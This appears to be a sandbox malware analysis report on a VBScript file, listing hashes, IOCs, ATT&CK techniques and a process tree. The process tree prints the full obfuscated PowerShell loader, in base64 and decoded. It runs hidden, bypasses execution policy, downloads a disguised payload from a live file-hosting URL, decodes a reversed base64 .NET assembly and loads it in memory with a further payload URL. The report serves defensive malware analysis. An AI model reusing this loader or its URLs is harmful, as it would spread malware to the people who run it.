48bb30fd0e12538f0e4fd35cfec2417a16902e1ef49f32b26bdd7a51344b324a

General

Target

INQ02010391.vbs
Size

137KB
MD5

ed54f068782aaff84dce2776a3ffbd73
SHA1

48a75d4b075131bf9abcfb3b77e64ace881f1b8e
SHA256

64c7c1b70a135415a835bb48c638ca47db929b1df28bb62aaacd9cdcac76553b
SHA512

9397d85e1e20b36736b6780fe7af5b3b5309ca2096368f3d99d3de3bbdfe348bb55854aef7a726ba55ac4210e19c2ab00bf82dae82a67354c50476217db90ba6
SSDEEP

3072:SXs3fFf2ghaYlNAuaq/XDptbxILKDngt5pPGwm:SXSf4eJA0XDjbKG

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1668	powershell.exe
6	1668	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2672	powershell.exe
1668	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2672	powershell.exe
1668	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1776 wrote to memory of 2672	1776	WScript.exe	30
PID 1776 wrote to memory of 2672	1776	WScript.exe	30
PID 1776 wrote to memory of 2672	1776	WScript.exe	30
PID 2672 wrote to memory of 1668	2672	powershell.exe	32
PID 2672 wrote to memory of 1668	2672	powershell.exe	32
PID 2672 wrote to memory of 1668	2672	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
bc940bd93a8bf83d9f1544d4c3575e31

SHA1
e644fd2ebe7dba0ebb54af653d69559389955247

SHA256
a1539573641a04d6093d48b9fd2292920f268fb6173a3423cf10a406e667309d

SHA512
3cbe7116201dd67c4f11d98a7b6925555920f6b7ccb9a4a82480426762d80418e2d1e025c480cebe40e43e08071c34575d4ced7222b8c75451ceb7e05bb028dd

Download Submit
memory/2672-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download
memory/2672-5-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2672-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2672-12-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2672-13-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2672-14-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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